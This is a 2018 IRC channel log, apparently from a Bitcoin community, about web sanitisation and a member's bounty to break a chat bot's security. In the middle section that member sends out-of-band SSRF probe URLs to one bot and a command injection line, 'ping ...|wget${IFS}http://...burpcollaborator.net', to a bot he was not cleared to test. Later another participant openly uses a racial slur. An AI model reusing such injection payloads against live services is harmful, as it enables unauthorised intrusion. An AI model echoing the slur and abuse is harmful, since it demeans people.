1789125;1521780239;douchebag;At best, local file disclosure. At worst, remote code execution
1789126;1521780261;mircea_popescu;trinque he's not even wrong : someone clicks on the link with a shit browser, gets owned by that shit browser.
1789127;1521780270;ben_vulpes;!!rate douchebag 1 found a couple of unsanitized fields
1789128;1521780272;deedbot;Get your OTP: http://p.bvulpes.com/pastes/JtMC6/?raw=true
1789129;1521780279;mircea_popescu;!!rated douchebag
1789130;1521780279;deedbot;mircea_popescu rated douchebag 1 at 2018/01/15 07:34:46 << hyde.solutions
1789131;1521780288;trinque;this was always the risk with browsers, all of which are shit
1789132;1521780303;douchebag;trinque: Noooo
1789133;1521780304;ben_vulpes;!!v 5ED3EC02EC8E0E2CD0B44A6AB9D3AE484D24C2FEA7F2F0A5929655D4D385E33F
1789134;1521780304;deedbot;ben_vulpes rated douchebag 1 << found a couple of unsanitized fields
1789135;1521780316;mircea_popescu;note that eg trilema (mp-wp, w/e) takes steps to mitigate this. by for instance not permitting html entities in user contributed fields, see ?
1789136;1521780322;douchebag;The XML shit I am doing has nothing to do with the web browser
1789137;1521780328;douchebag;it has to do with the XML parser on the server side
1789138;1521780338;mircea_popescu;douchebag i was extending the discussion.
1789139;1521780364;*;trinque is aware of both of these types of problems
1789140;1521780382;trinque;but then what, now you're on the deedbot server and ?
1789141;1521780428;mircea_popescu;what, making deedbot go "trinque sniffs dirty undies" isn't bereft of lulz value.
1789142;1521780428;douchebag;I would then look around and determine how it could be best leveraged
1789143;1521780495;trinque;mind giving me a sentence that isn't so widely applicable?
1789144;1521780566;mircea_popescu;anyway, what we have here is a tacit miss-standard, and the discussion is probably of most interest to people who aim to make their own blog thing, phf spyked whoever was looking at lisping it. because on one hand there's the older trilema standard that's web compatible, and on the other hand there's the emerging no shits given approach like on the deedbot site say, "what am i going to do now, alter deeds to mitigate sht brow
1789145;1521780566;mircea_popescu;sers ???".
1789146;1521780584;mircea_popescu;this is a source of constant surprise, consider all the time phf sunk into chasing unicode obscura on his logger.
1789147;1521780620;douchebag;trinque: I would reprogram deedbot to become self aware and take over the world
1789148;1521780625;*;trinque declared the line of nomoars pretty far out on this one, aha.
1789149;1521780627;trinque;douchebag: lol
1789150;1521780709;trinque;at any rate I'm not questioning you to make you not diddle the XML holes. in your log reading you might've heard me refer to servers as outdoor toilets.
1789151;1521780765;mircea_popescu;we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
1789152;1521780800;*;trinque can trivially make the thing serve up text/plain right now
1789153;1521780816;trinque;but the gentleman's browser on the other side is still the mess it was
1789154;1521780822;mircea_popescu;possibly that's the correct cut of this knot, "if you're not sanitizing force pages be text/plain"
1789155;1521780860;mircea_popescu;trinque yes, but we don't care about that. we just care about our not being dumb.
1789156;1521780898;mircea_popescu;consider something simple : i took pride publicly on how trilema doesn't load google analytics, thereby giving away the usual set of telemetrics to the usg. fine and good. but your site can be coaxed to load ???.burpcollaborator.net by 3rd party ? so every time a "normal" browser goes by it looks up wtf that doctype is and so on ?
1789157;1521780926;trinque;this line of reasoning leads to me going and getting an SSL cert
1789158;1521780934;trinque;because mitm can do the same thing to you
1789159;1521780985;mircea_popescu;hence my comment above,. " we'll have to come to a unified set of something here". just because the line isn't drawn.
1789160;1521781017;trinque;on my end, JS is off and otherwise whitelisted where used.
1789161;1521781039;mircea_popescu;no js required for this.
1789162;1521781051;trinque;thing blocks all external items by origin
1789163;1521781059;mircea_popescu;"modern" or however we shall call the shit browser errs on the side of loading everything it can
1789164;1521781079;mircea_popescu;because it was made by and for idiots from back in the day the web was ~equal to ye olde finger utility.
1789165;1521781322;mircea_popescu;in the end the deep root of http://btcbase.org/log/2018-03-22#1788727 is that all the inept dances html does to permit in-band signalling, so you never know if it's < or &lt; or what, is fundamentally a bad idea.
1789166;1521781322;a111;Logged on 2018-03-22 17:06 douchebag: Wouldn't it make sense to make sure you're doing something the right way before you go ahead and do it?
1789167;1521781360;mircea_popescu;in the end there's two broken points of old html, not merely the whole "statefulness on stateless protocol" cookies bs ; but also the "will mix code in the data nyah nyah nyah".
1789168;1521781508;mircea_popescu;amusingly enough, the WHOLE UTILITY, and in any case the absolutely only reasons people use, like and like to use the web is specifically because of those two things. which makes naggum's perl rant misplaced : perl exhibits the characteristics he bemoans incidentally ; html is fundamentally build out of them and would not interest any of the webtards if it weren't, because it interests ~for them~ specifically.
1789169;1521781510;mircea_popescu;wut do.
1789170;1521781536;*;mircea_popescu finally understood why the web even took off in the first place, instead of the much saner alternatives at the time available.
1789171;1521781642;trinque;the problem I was driving at was the sign of bad upbringing where I sit here and tell him where the vulns *certainly* are
1789172;1521781742;trinque;entirely separate from "hey trinque can you do something practical while we yet rely on shittech"
1789173;1521781746;trinque;of course, that.
1789174;1521781751;mircea_popescu;myeah
1789175;1521781797;trinque;source code for the item is in the logs, db it uses, blah, blah, blah.
1789176;1521782314;asciilifeform;http://btcbase.org/log/2018-03-23#1789102 << a shitoshiism: >> http://btc.yt/lxr/satoshi/source/src/bitcoinrpc.cpp?v=asciilifeform_add_verifyall_option#0888
1789177;1521782314;a111;Logged on 2018-03-23 04:37 ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
1789178;1521782391;mircea_popescu;yes but you can't simply take that out.
1789179;1521782409;mircea_popescu;ends up with cycle further down the line when unpacking a tx
1789180;1521782429;asciilifeform;right, because he used unordered sets
1789181;1521782487;asciilifeform;http://btcbase.org/log/2018-03-23#1789151 << 'sanitization' in the sense of attempting to rescue every possible broken inbandparser is a catastrophically wrong thing.
1789182;1521782487;a111;Logged on 2018-03-23 04:52 mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
1789183;1521782509;asciilifeform;there exists for instance the ipnoje, which famously chokes on some particular hindu glyph.
1789184;1521782532;asciilifeform;so, what nao, onus on unicodists to avoid emitting it??
1789185;1521782548;asciilifeform;or why not instead crapple fixes the box. or dies.
1789186;1521782640;asciilifeform;relatedly, recall http://btcbase.org/log/2016-08-01#1512393 incident
1789187;1521782640;a111;Logged on 2016-08-01 19:51 phf: oh that's beautiful
1789188;1521782729;trinque;oh lol, I'm already serving them up as txt.
1789189;1521782778;asciilifeform;and lemme guess, there is a browser that still parses htmlolade in these ??
1789190;1521782830;trinque;nah, guess I assumed in charity that herr douchebag looked at the thing's output before.
1789191;1521782832;ben_vulpes;asciilifeform: well yes i did find the error message but i am still banging my head on the why of it
1789192;1521782849;ben_vulpes;oh oh
1789193;1521782908;ben_vulpes;i'll look into this unordered sets thing later
1789194;1521783161;mircea_popescu;asciilifeform old firefox certainly does.
1789195;1521783173;asciilifeform;nuts.
1789196;1521783190;trinque;nah, not on something served up as content-type text
1789197;1521783209;mircea_popescu;once the deed is up browsershots.org it lessee
1789198;1521783425;mircea_popescu;http://btcbase.org/log/2016-08-01#1512409 <<
1789199;1521783425;a111;Logged on 2016-08-01 19:58 mircea_popescu: for... firefox 3 ?!
1789200;1521783555;trinque;http://deedbot.org/bundle-365167.txt << here's one.
1789201;1521783628;asciilifeform;^ no inbandbarf on any of the browsers i have in arm's reach
1789202;1521783635;asciilifeform;incl crapple
1789203;1521783716;trinque;would be pretty shocking if the web server's defaults didn't serve up txt properly.
1789204;1521783773;trinque;http://browsershots.org/http://deedbot.org/bundle-365167.txt
1789205;1521783781;trinque;neat service.
1789206;1521783844;deedbot;http://deedbot.org/bundle-514765.txt
1789207;1521784014;asciilifeform;in re inbanditry -- recall misfortunate boy without t-cells; ~he~ went in a plastic bubble, observe. him, rather than every possible other people who might sneeze on him.
1789208;1521784082;trinque;douchebag: ^ if you want honest work, I will pay you for a demonstration that you can discover the balance of an arbitrary deedbot wallet user, on the condition that if in one month you can't, you drop this web security herp and take a task from me and complete it.
1789209;1521784105;trinque;bounty is 0.1 bitcoin.
1789210;1521784376;douchebag;one moment
1789211;1521784376;*;trinque to bed. let me know in writing, in a deed.
1789212;1521784389;*;asciilifeform bbl 
1789213;1521784390;douchebag;I'll do it
1789214;1521785209;douchebag;!!deed http://w74db17v5sr0atyxkw675l0ex53zro.burpcollaborator.net
1789215;1521785212;deedbot;Bad URL or network outage.
1789216;1521785643;ben_vulpes;mircea_popescu: going to nail down pricing for shells on this machine and then we can provision them, i expect that we can get hanbot a shell tomorrow
1789217;1521785877;ben_vulpes;douchebag: what did you try to deed there?
1789218;1521786869;douchebag;testing purposes
1789219;1521787031;douchebag;!!deed http://0:22/
1789220;1521787036;deedbot;Bad URL or network outage.
1789221;1521787063;douchebag;!!subscribe http://0:22/
1789222;1521787064;deedbot;douchebag subscription to http://0:22/ failed
1789223;1521817483;douchebag;!!deed http://1260283176:4444#@www.google.com/
1789224;1521817488;deedbot;Bad URL or network outage.
1789225;1521817696;douchebag;!!deed http://gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
1789226;1521817699;deedbot;Bad URL or network outage.
1789227;1521817705;douchebag;!~help
1789228;1521817705;jhvh1;douchebag: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. You may also want to use the 'list' command to list all available plugins and commands.
1789229;1521817722;douchebag;!~list
1789230;1521817722;jhvh1;douchebag: Admin, Alias, AutoMode, Bible, BitcoinData, Channel, Config, DuckDuckGo, GPG, GPGExt, GeoIP, Google, HtmlLogger, IPTools, Isup, Later, Listener, Market, MarketMonitor, MarketMonitorTicker, Misc, NickAuth, Owner, RSS, Seen, Sudo, Unix, UrbanDictionary, User, Utilities, and Whois
1789231;1521817733;douchebag;!~HtmmlLogger
1789232;1521817733;jhvh1;douchebag: Error: "HtmmlLogger" is not a valid command.
1789233;1521817750;douchebag;!~help HtmlLogger
1789234;1521817750;jhvh1;douchebag: Error: There is no command "htmllogger". However, "Htmllogger" is the name of a loaded plugin, and you may be able to find its provided commands using 'list Htmllogger'.
1789235;1521817769;douchebag;!~list HtmlLogger
1789236;1521817769;jhvh1;douchebag: flushlog
1789237;1521817791;douchebag;!~list RSS
1789238;1521817791;jhvh1;douchebag: add, announce add, announce list, announce remove, info, remove, and rss
1789239;1521817799;douchebag;!~list RSS add
1789240;1521817800;jhvh1;douchebag: (list [--private] [--unloaded] [<plugin>]) -- Lists the commands available in the given plugin. If no plugin is given, lists the public plugins available. If --private is given, lists the private plugins. If --unloaded is given, it will list available plugins that are not loaded.
1789241;1521817836;douchebag;!~list Unix
1789242;1521817836;jhvh1;douchebag: call, crypt, errno, fortune, pid, ping, ping6, progstats, shell, spell, sysuname, sysuptime, and wtf
1789243;1521817855;douchebag;!~ping gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
1789244;1521817856;jhvh1;pong
1789245;1521817881;douchebag;!~ping
1789246;1521817882;jhvh1;pong
1789247;1521817891;douchebag;!~unix ping
1789248;1521817891;jhvh1;douchebag: (unix ping [--c <count>] [--i <interval>] [--t <ttl>] [--W <timeout>] <host or ip>) -- Sends an ICMP echo request to the specified host. The arguments correspond with those listed in ping(8). --c is limited to 10 packets or less (default is 5). --i is limited to 5 or less. --W is limited to 10 or less.
1789249;1521817930;douchebag;!~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net|wget${IFS}http://uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
1789250;1521817931;jhvh1;douchebag: Error: Invalid hostname
1789251;1521817961;douchebag;!~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
1789252;1521817967;jhvh1;douchebag: ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): 5 packets transmitted, 5 received, 0% packet loss, time 4005ms rtt min/avg/max/mdev = 80.606/80.640/80.688/0.256 ms
1789253;1521818324;*;lobbes amused that all these payload urls are ultimately being forwarded to archive.is o.0.
1789254;1521818442;lobbes;Btw jhvh1 isn't related to deedbot (and, as far as I know, is not on a box with any coin contained within)
1789255;1521818515;lobbes;Check out the logs for 'bot directory'; I think pete_dushenski's page is probably still up
1789256;1521818530;trinque;he's just got such a short attention span he's already given up on deedbot
1789257;1521818544;BingoBoingo;!~later tell jurov http://p.bvulpes.com/pastes/JYKQV/?raw=true
1789258;1521818544;jhvh1;BingoBoingo: The operation succeeded.
1789259;1521818561;trinque;douchebag: also talk to the damned bots in PM
1789260;1521818573;lobbes;Haha, yeah seriously
1789261;1521819288;douchebag;okay trinque
1789262;1521819310;danielpbarron;!!rate douchebag 1 l0de fan
1789263;1521819313;deedbot;Get your OTP: http://p.bvulpes.com/pastes/fKAT2/?raw=true
1789264;1521819343;douchebag;is !~unix ping 127.0.0.1 the correct syntax?
1789265;1521819579;trinque;douchebag: why are you diddling shinohai's bot instead of mine?
1789266;1521819610;douchebag;Pretty sure I could easily exploit it
1789267;1521819635;trinque;mk. understand I'll negrate you if you go back on our wager.
1789268;1521819635;douchebag;Still doing some thinking of what the best course of action to pwn deedbot will be
1789269;1521819655;douchebag;Yeah no that's fine
1789270;1521819672;trinque;alright then
1789271;1521819682;douchebag;trinque: Could I view deedbots source by any chance?
1789272;1521819712;douchebag;If you want it to be audited a bit more comprehensively
1789273;1521819750;trinque;sources can be found in the logs; search 'em.
1789274;1521819781;douchebag;Well I found both a php version
1789275;1521819805;douchebag;https://github.com/extempore/deedbundler
1789276;1521819827;douchebag;https://github.com/RagnarDanneskjold/deedBot
1789277;1521820276;BingoBoingo;douchebag: The second link is an older incarnation that was implemented by another party
1789278;1521820586;*;trinque encourages the Lords to let the kid grow an attention span and find the links himself.
1789279;1521820615;douchebag;I found the links myself
1789280;1521820634;douchebag;You guys sure do make a lot of assumptions
1789281;1521821460;deedbot;http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
1789282;1521821741;ben_vulpes;trinque: did he ever actually deed the agreement?
1789283;1521821799;trinque;no, he doesn't do anything. "fuck you mom!"
1789284;1521821832;douchebag;Why can't trinque deed it
1789285;1521821839;douchebag;You're the one offering the $
1789286;1521821849;ben_vulpes;dude because those were the terms
1789287;1521821862;ben_vulpes;if you had issue with them you shoulda brought it up then instead of just not doing anything
1789288;1521821910;douchebag;ben_vulpes: Usually I would figure if someone is offering money, they should be the one creating the contract or whatever
1789289;1521821917;douchebag;but sure I guess
1789290;1521821984;douchebag;So one month from today
1789291;1521822006;douchebag;It was after midnight when you made that agreement for me yesterday
1789292;1521822022;ben_vulpes;douchebag: your usuallies aren't going to serve you well here, whoever makes the rules makes the rules
1789293;1521822025;douchebag;not sure if there's a timezone difference
1789294;1521822044;douchebag;ben_vulpes: fuck you, I'm doing it
1789295;1521822051;mod6;omfg
1789296;1521822065;ben_vulpes;awww
1789297;1521822071;mod6;stop spamming here douchebag, if you want to test, fine.  do it in pm.
1789298;1521822086;douchebag;You guys act so fucking weird
1789299;1521822105;mod6;Do I want to read all of your testing bullshit?
1789300;1521822109;mod6;No.  I don't.
1789301;1521822124;douchebag;mod6: I'm not talking about you jerkoff
1789302;1521822134;douchebag;Some of these things don't work in PM FYI
1789303;1521822140;mod6;!!down douchebag
1789304;1521822156;mod6;I'm tired of this person.
1789305;1521822161;mod6;Get rid of him.
1789306;1521822189;ben_vulpes;douchebag: there's a thing called "signal to noise ratio", do try not to hurt it. if you must test in public probably announce and apologize for the interruption
1789307;1521822190;danielpbarron;ya imma have to switch him to a -1, he's been just as annoying in the lrh chat
1789308;1521822209;ben_vulpes;this is the sort of place where mircea_popescu kickbans people who join/part too much
1789309;1521822215;mod6;This guy sends me a "Fuck you" in PM.
1789310;1521822226;mod6;And he wants to somehow be involved with our republic.
1789311;1521822235;mod6;This is not how it works.
1789312;1521822243;ben_vulpes;mod6: he's trying to ape the forms without understanding their logic
1789313;1521822260;mod6;I demand public apologies for calling us all "jerkoffs" "faggots" etc.
1789314;1521822270;mod6;Or out come the neg ratings.
1789315;1521822275;douchebag;Listen
1789316;1521822281;mod6;no y
1789317;1521822282;mod6;u
1789318;1521822286;douchebag;I'm not going to sit around and just get insulted
1789319;1521822303;douchebag;and not say anything back. I'm not anyones bitch
1789320;1521822306;mod6;When did I insult?  Link to log plz.
1789321;1521822329;douchebag;trinque told me I can test his bot. Some of the features don't work in PM
1789322;1521822336;mod6;WHEN DID I INSULT?
1789323;1521822340;douchebag;"Do I want to read all of your testing bullsit?"
1789324;1521822351;mod6;TEST HIS BOT SOMEWHERE ELSE.
1789325;1521822355;douchebag;I can
1789326;1521822357;douchebag;t
1789327;1521822361;douchebag;I just explained why
1789328;1521822413;mod6;Lords and Ladies of the Republic: I do not believe this chamber should be subjected to this abuse.  I appeal to you.
1789329;1521822425;douchebag;What abuse?
1789330;1521822437;mod6;The abuse of spam.
1789331;1521822441;douchebag;Fine I wont
1789332;1521822446;douchebag;calm down
1789333;1521822448;mod6;I should not be subjected to have to read this.
1789334;1521822462;asciilifeform;mod6: the trapdoor lever's right there
1789335;1521822466;mod6;I will not calm down, you are wasting my, and everyone who reads this channel's time.
1789336;1521822491;mod6;If trinque wants you to test, he can set up another venue for this.
1789337;1521822495;douchebag;mod6: trinque told me I can test his bot, so that is what I was doing
1789338;1521822500;douchebag;I wont test it here anymore
1789339;1521822501;ben_vulpes;mod6: negrate him and be done with it
1789340;1521822520;danielpbarron;douchebag, part of the security of the bots in this channel is that they only work in this channel which is moderated quite well
1789341;1521822522;ben_vulpes;douchebag: you then moved on to testing other bots; do those commands also not work in pm?
1789342;1521822536;asciilifeform;!!rate douchebag -1 loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
1789343;1521822538;deedbot;Get your OTP: http://p.bvulpes.com/pastes/SuhIs/?raw=true
1789344;1521822551;douchebag;Listen I am not going to test the bots in here anymore
1789345;1521822571;douchebag;If I do it again, do whatever the hell it is you want to do
1789346;1521822572;asciilifeform;!!v 3E65BD461F247BA966C32C13ABBE84F3CDC331544D9499D003A8FCA745640201
1789347;1521822572;deedbot;asciilifeform rated douchebag -1 << loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
1789348;1521822604;douchebag;I don't see why every single thing that happens in this channel has to turn into some big ordeal
1789349;1521822647;mod6;You are wasting innocent peoples time with your farting, we have more important business to attend to.
1789350;1521822651;danielpbarron;because it is publically logged and more people read it than what you see here
1789351;1521822677;ben_vulpes;douchebag: it's only an ordeal because you dig your heels in when told what to do.
1789352;1521822693;asciilifeform;hey trinque is the bozo ejector wedged or wat
1789353;1521822706;trinque;what bozo ejector?
1789354;1521822724;asciilifeform;the if(sum(rate) <= 0) down(d00d) one
1789355;1521822748;trinque;no such auto-down exists
1789356;1521822754;trinque;someone can issue the command
1789357;1521822758;asciilifeform;aa ty trinque
1789358;1521822762;asciilifeform;!!down douchebag
1789359;1521822787;mod6;wd, thank you asciilifeform
1789360;1521822797;asciilifeform;i have nfi why this had to wait, lol
1789361;1521822819;asciilifeform;um trinque ?
1789362;1521822820;ben_vulpes;the cheek!
1789363;1521822832;asciilifeform;!!gettrust douchebag
1789364;1521822832;deedbot;L1: -1, L2: 3 by 3 connections.
1789365;1521822841;asciilifeform;!!reputation douchebag
1789366;1521822843;deedbot;http://p.bvulpes.com/pastes/pu44A/?raw=true
1789367;1521822854;douchebag;stop spamming the channe;
1789368;1521822863;asciilifeform;loox like he needs a control shot or 2
1789369;1521822875;asciilifeform;ben_vulpes danielpbarron mircea_popescu ^
1789370;1521822878;ben_vulpes;mhm
1789371;1521822900;danielpbarron;ya i will do, sorry about that
1789372;1521822908;ben_vulpes;!!rate douchebag -1 polished turd of stupidity
1789373;1521822911;deedbot;Get your OTP: http://p.bvulpes.com/pastes/9PCH4/?raw=true
1789374;1521822919;douchebag;gonna root your shit
1789375;1521822925;asciilifeform;douchebag: finally. go, work
1789376;1521822936;ben_vulpes;douchebag: isn't that what you promised to do already?
1789377;1521822939;ben_vulpes;and what you were also told to do?
1789378;1521822945;douchebag;yes
1789379;1521822947;ben_vulpes;why continue with the posturing instead of doing things
1789380;1521822948;douchebag;Thats why im doing it
1789381;1521822952;asciilifeform;'masochist: beat me, beat me!  sadist: no!'
1789382;1521822961;ben_vulpes;!!v 9857F1824DD54DAF9F74912FDBA5A634C63861F5E7F0EC7A35EE94628AB622DC
1789383;1521822961;deedbot;ben_vulpes updated rating of douchebag from 1 to -1 << polished turd of stupidity
1789384;1521822968;douchebag;You guys are distracting me
1789385;1521822974;douchebag;im trying to work
1789386;1521822979;ben_vulpes;douchebag: how you allocate your attention is your own problem
1789387;1521822991;douchebag;why can't we just work on the stuff we need to work on
1789388;1521822995;douchebag;instead of discussing it?
1789389;1521822999;ben_vulpes;http://logs.bvulpes.com/trilema?d=2018-3-23#317862
1789390;1521823000;mimisbrunnr;Logged on 2018-03-23 04:08 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
1789391;1521823020;douchebag;Exactly my point
1789392;1521823022;ben_vulpes;having the discipline to engage with trilema appropriately is not a thing humans are born with
1789393;1521823344;asciilifeform;!~seen phf
1789394;1521823350;asciilifeform;!!seen phf
1789395;1521823350;deedbot;2018/03/08 17:52:20 <phf> lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines
1789396;1521823377;asciilifeform;wakeup phf. yer bot ran away.
1789397;1521823496;douchebag;danielpbarron called me the n word
1789398;1521823518;asciilifeform;!!reputation douchebag
1789399;1521823520;deedbot;http://p.bvulpes.com/pastes/XhTIf/?raw=true
1789400;1521823522;douchebag;I don't mind, but I just wanted to make sure that was on the record
1789401;1521823530;danielpbarron;he means nigger, i called him a nigger
1789402;1521823536;asciilifeform;!!down douchebag
1789403;1521823550;asciilifeform;oughta do the job nao.
1789404;1521823567;ben_vulpes;ahahahaha
1789405;1521823572;asciilifeform;and pretty good lastwords.
1789406;1521823581;ben_vulpes;with the fucking tattling, epic
1789407;1521823610;ben_vulpes;you know i think this is actually a devious plot to murder elements of the lordship with excessive laughter
1789408;1521823627;ben_vulpes;because i'm fuckin dying over here
1789409;1521823629;asciilifeform;he oughta join up with that other critter, that orbits ben_vulpes
1789410;1521823651;asciilifeform;what was it, btcvixen ?
1789411;1521823661;ben_vulpes;aha
1789412;1521823667;asciilifeform;whatever happened to it
1789413;1521823707;ben_vulpes;utterly no idea
1789414;1521824027;deedbot;http://trilema.com/2018/frank-the-experimental-biologist/ << Trilema - Frank the experimental biologist
1789415;1521827454;mircea_popescu;http://btcbase.org/log/2018-03-23#1789216 << cool.
1789416;1521827469;mircea_popescu;http://btcbase.org/log/2018-03-23#1789245 << do all that in pm will you.
1789417;1521827549;mircea_popescu;http://btcbase.org/log/2018-03-23#1789280 << that's nothing ; bot used to be called assbot.
1789418;1521827657;lobbes;mircea_popescu: phf logbot appears down. You may have missed some lulzy log lines: http://logs.bvulpes.com/trilema
1789419;1521827679;mircea_popescu;a ty
1789420;1521827706;mircea_popescu;i was trying to figure out wtf is going on, which link in the chain is not performing.
1789421;1521827790;mircea_popescu;in other news, earthquake last night unhooked this coil of rope that was resting inside an anal hook hanging from the ceiling of a corridor. plus knocked over girl's essential oils bottles, sent some coffee bags off to seek their fortune about the kitchen floor and so forth!
1789422;1521827833;asciilifeform;aalmost may as well live in jp neh
1789423;1521827865;mircea_popescu;it's getting pretty crazy.
1789424;1521827866;asciilifeform;( this is... 3rd ? one on mircea_popescu's watch ? this yr )
1789425;1521827937;mircea_popescu;2nd this week at any rate
1789426;1521827942;mircea_popescu;prolly a dozen or so this year.
1789427;1521827947;asciilifeform;quasi-relatedly, did mircea_popescu ever learn jp lang ?
1789428;1521827951;asciilifeform;it is entertainingly martian
1789429;1521827955;mircea_popescu;but there was a major 7.0 one a year or so back yeah
1789430;1521827970;mircea_popescu;asciilifeform never did, no.
1789431;1521828003;asciilifeform;i don't know of any practical reason to; but strictly for mental muscle build, it is notbad
1789432;1521828015;mircea_popescu;i guess.
1789433;1521828256;asciilifeform;( disregarding, even, the hieroglyphs : picture eurolang with declensions , but instead of inflecting nouns per se, they are standalone words, 'particles' . and instead of 6 or 7, there's a coupla dozen. )
1789434;1521828381;mircea_popescu;meh.
1789435;1521828483;mircea_popescu;butt in other lulz, http://trilema.com/wp-content/themes/trilema/images/bg_mar2018.jpg
1789436;1521829825;lobbes;In other news, my spiffy new mp-wp blog is now live: http://lobbesblog.com/blog/
1789437;1521829829;lobbes;Post detailing my own compendium of notes to come prolly tonight. Aim is for it to supplement hanbot's existing compendium (e.g. will include notes on how to prime mysql and wp-config.php for mp-wp's auto table-creation process)
1789438;1521830152;mircea_popescu;nice!
1789439;1521830160;mircea_popescu;someone should prolly make some themes for these...
1789440;1521830193;mircea_popescu;in fact, there is a TON of work for a competent art guy. eulora needs stuff ; i want to get a porny comic off the ground ; mp-wp needs theme work...
1789441;1521830199;mircea_popescu;anyone know a starving artist that's ACTUALLY GOOD ?
1789442;1521830908;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-23#318265 << well it's one of the few places accessible from the internet where anyone actually reads anything. that's kinda why.
1789443;1521830908;mimisbrunnr;Logged on 2018-03-23 16:22 douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal
1789444;1521830989;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-23#318278 << what, all it does is he can't auto-up anymore, no need to auto-devoice is there.
1789445;1521830989;mimisbrunnr;Logged on 2018-03-23 16:26 asciilifeform: um trinque ?
1789446;1521831030;mircea_popescu;!!gettrust douchebag
1789447;1521831030;deedbot;L1: 1, L2: -1 by 3 connections.
1789448;1521831041;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-23#318281 lel
1789449;1521831042;mimisbrunnr;Logged on 2018-03-23 16:26 deedbot: L1: -1, L2: 3 by 3 connections.
1789450;1521831188;mircea_popescu;trinque there's something amiss here ; i see 4 ratings from 4 people in teh l1, how can it be +1 ? should be 0 no ?
1789451;1521831439;trinque;!!gettrust deedbot douchebag
1789452;1521831440;deedbot;L1: 0, L2: 0 by 4 connections.
1789453;1521831446;mircea_popescu;ah ok
1789454;1521831459;trinque;that was measured from herr alf
1789455;1521831520;mircea_popescu;oh i see
1789456;1521831533;mircea_popescu;makes sense.
1789457;1521831585;mircea_popescu;anyway douchebag come up with something interesting, i'll voice you so you can announce it.
1789458;1521832009;mircea_popescu;ben_vulpes plox put a favicon on your log site, i can't pick it out of the tabline.
1789459;1521832045;ben_vulpes;mircea_popescu: ack
1789460;1521836296;deedbot;http://pizarroisp.net/index.php/2018/03/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ << PizzaroISP - Pizarro Shared Hosting - a screaming deal for 0.003 BTC/mo!
1789461;1521836399;diana_coman;uhm, page not found? link should be http://pizarroisp.net/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ (without index.php)
1789462;1521836517;ben_vulpes;i did not realize that previously published permalinks would break when switching to the slug
1789463;1521836682;ben_vulpes;aight well i switched it back for now but that's awful and will have to get fixed
1789464;1521836979;mircea_popescu;i dun think they break, you got some other bug in there.
1789465;1521838618;mircea_popescu;pizarro.net/pi also 404s, for instance
1789466;1521838734;ben_vulpes;aaayup
1789467;1521838783;ben_vulpes;well once we have hanbot up and running with an mp-wp produced from her patches i'll move this over to that setup
1789468;1521845787;ben_vulpes;!!invoice danielpbarron .00077419 8 prorated days of shared hosting (march)
1789469;1521845791;deedbot;Get your OTP: http://p.bvulpes.com/pastes/mwF1J/?raw=true
1789470;1521845815;ben_vulpes;!!v D36B2DA16801DD29974345218BE070ADF8EF027B47EF75F04DC3F8D6457F9B5E
1789471;1521845819;deedbot;Invoiced danielpbarron .00077419 << 8 prorated days of shared hosting (march)
1789472;1521846101;ben_vulpes;!!key danielpbarron
1789473;1521846103;deedbot;http://wot.deedbot.org/155934BDD16E8EAF4493CB9CB36AE9849D961AC9.asc
1789474;1521850267;lobbes;!!balance
1789475;1521850274;deedbot;http://p.bvulpes.com/pastes/AvsQe/?raw=true
1789476;1521851376;mircea_popescu;!!up douchebag
1789477;1521851377;deedbot;douchebag voiced for 30 minutes.
1789478;1521851391;douchebag;Okay, so this should be quite trivial
1789479;1521851421;douchebag;This is a logged channel, unless invoices and withdrawls were made in PM. The balances could be determined by viewing the logs.
1789480;1521851463;mircea_popescu;...
1789481;1521851481;douchebag;It's true though.
1789482;1521851482;mircea_popescu;obviously if someone wants to make something public, then that someone made that something public.
1789483;1521851505;mircea_popescu;you've got quite the hard-on for the trivial case, don't you ?
1789484;1521851508;douchebag;Okay, down me then.
1789485;1521851509;mircea_popescu;not even a terrible idea, but...
1789486;1521851533;douchebag;I'll continue pressing this bots buttons
1789487;1521851545;mircea_popescu;just don't make a lot of noise in channel.
1789488;1521851597;douchebag;okay <3
1789489;1521851628;asciilifeform;!~later tell BingoBoingo http://p.bvulpes.com/pastes/8QtVj/?raw=true
1789490;1521851831;shinohai;kek, these logs today. When you piss mod6 off, you know it's real.
1789491;1521852282;asciilifeform;!~later tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true
1789492;1521852339;shinohai;heh jhvh1 down. Try lobbesbot
1789493;1521852367;asciilifeform;i do not know the magic for it
1789494;1521852372;lobbes;!Q
1789495;1521852408;shinohai;Since I ported everything over to the trinque model (since yes I *did* find the sauce) prolly won't put it back up.
1789496;1521852412;lobbes;or the whole thing: !Qlater tell
1789497;1521852418;asciilifeform;!Qlater tell BingoBoingo corrected ver http://p.bvulpes.com/pastes/KEJxg/?raw=true
1789498;1521852418;lobbesbot;asciilifeform: The operation succeeded.
1789499;1521852421;asciilifeform;ty lobbes , shinohai
1789500;1521852452;lobbes;oh nice shinohai. you got the markets thing working in lisp?
